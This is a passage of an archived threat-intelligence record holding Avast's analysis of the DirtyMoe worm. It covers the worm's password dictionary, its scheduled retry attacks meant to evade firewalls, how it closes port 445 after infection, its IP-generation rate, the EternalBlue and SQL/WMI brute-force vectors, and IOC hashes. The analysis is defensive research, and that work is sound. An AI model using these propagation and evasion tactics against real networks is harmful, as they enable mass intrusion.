across several topics and languages. There are several language\r\nmutations for the top world languages, e.g., English, Spanish, Portuguese, German, French, etc. (passwort, heslo,\r\nhaslo, lozinka, parool, wachtwoord, jelszo, contrasena, motdepasse). Other topics are cars (volkswagen, fiat,\r\nhyundai, bugatti, ford) and art (davinci, vermeer, munch, michelangelo, vangogh). The dictionary also includes\r\ndirty words and some curious names of historical personalities like hitler, stalin, lenin, hussein, churchill, putin,\r\netc.\r\nThe dictionary is used for SCMR, WMI, and SQL attacks. However, the SQL module hard-codes another 15 pairs\r\nof usernames/passwords also collected from the internet. The SQL passwords usually are default passwords of the\r\nmost well-known systems.\r\nWorming Workflow\r\nThe modules also implement a technique for repeated attacks on machines with ‘live’ targeted ports, even when\r\nthe first attack was unsuccessful. The attacks can be scheduled hourly or daily based on the worm configuration.\r\nThis approach can prevent a firewall from blocking an attacking machine and reduce the risk of detection.\r\nAnother essential attribute is the closing of TCP port 445 port following a successful exploit of a targeted system.\r\nThis way, compromised machines are “protected” from other malware that abuse the same vulnerabilities. The\r\nMSI installer also includes a mechanism to prevent overwriting DirtyMoe by itself so that the configuration and\r\nalready downloaded modules are preserved.\r\nIP Generation Performance\r\nThe primary key to this worm’s success is the performance of the IP generator. We have used empirical\r\nmeasurement to determine the performance of the worming module. This measurement indicates that one module\r\ninstance can generate and attack 1,500 IPs per second on average. However, one of the tested instances could\r\ngenerate up to 6,000 IPs/sec, so one instance can try two million IPs per day.\r\nThe evidence suggests that approximately 1,900 instances can generate the whole IPv4 range in one day; our\r\ndetections estimate more than 7,000 active instances exist in the wild. In theory, the effect is that DirtyMoe can\r\ngenerate and potentially target the entire IPv4 range three times a day.\r\n8. Conclusion\r\nThe primary goal of this research was to analyze one of the DirtyMoe module groups, which provides the\r\nspreading of the DirtyMoe malware using worming techniques. The second aim of this study was to investigate\r\nthe effects of worming and investigate which exploits are in use. \r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 19 of 21\n\nIn most cases, DirtyMoe is deployed using external exploit kits like PurpleFox or injected installers of Telegram\r\nMessenger that require user interaction to successful infiltration. Importantly, worming is controlled by C\u0026C and\r\nexecuted by active DirtyMoe instances, so user interaction is not required.\r\nWorming target IPs are generated utilizing the cleverly designed algorithm that evenly generates IP addresses\r\nacross the world and in relation to the geological location of the worming module. Moreover, the module targets\r\nlocal/home networks. Because of this, public IPs and even private networks behind firewalls are at risk.\r\nVictims’ active machines are attacked using EternalBlue exploits and dictionary attacks aimed at SCMR, WMI,\r\nand MS SQL services with weak passwords. Additionally, we have detected a total of six vulnerabilities abused by\r\nthe worming module that implement publicly disclosed exploits.\r\nWe also discovered one worming module in development containing other vulnerability exploit implementations –\r\nit did not appear to be fully armed for deployment. However, there is a chance that tested exploits are already\r\nimplemented and are spreading in the wild. \r\nBased on the amount of active DirtyMoe instances, it can be argued that worming can threaten hundreds of\r\nthousands of computers per day. Furthermore, new vulnerabilities, such as Log4j, provide a tremendous and\r\npowerful opportunity to implement a new worming module. With this in mind, our researchers continue to\r\nmonitor the worming activities and hunt for other worming modules.\r\nIOCs\r\nCVE-2019-1458: “WizardOpium’ Local Privilege Escalation\r\nfef7b5df28973ecf8e8ceffa8777498a36f3a7ca1b4720b23d0df18c53628c40\r\nSMB worming modules\r\nf78b7b0faf819328f72a7181ed8cc52890fedcd9bf612700d7b398f1b9d77ab6\r\ndc1dd648287bb526f11ebacf31edd06089f50c551f7724b98183b10ab339fe2b\r\nSQL worming modules\r\ndf8f37cb2f20ebd8f22e866ee0e25be7d3731e4d2af210f127018e2267c73065\r\nb3e8497a4cf00489632e54e2512c05d9c80288c2164019d53615dd53c0977fa7\r\nWorming modules in development\r\n36e0e1e4746d0db1f52aff101a103ecfb0414c8c04844521867ef83466c75340\r\nThreat Research Team\r\nThreat Research Team\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 20 of 21\n\nA group of elite researchers who like to stay under the radar.\r\nSource: https://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 21 of 21",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://decoded.avast.io/martinchlumecky/dirtymoe-5/"
	],
	"report_names": [
		"dirtymoe-5"
	],
	"threat_actors": [],
	"ts_created_at": 1775439092,
	"ts_updated_at": 1775791203,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/514d2a7f1a2a21ff728d888b3b40c4472cf31bf1.pdf",
		"text": "https://archive.orkl.eu/514d2a7f1a2a21ff728d888b3b40c4472cf31bf1.txt",
		"img": "https://archive.orkl.eu/514d2a7f1a2a21ff728d888b3b40c4472cf31bf1.jpg"
	}
}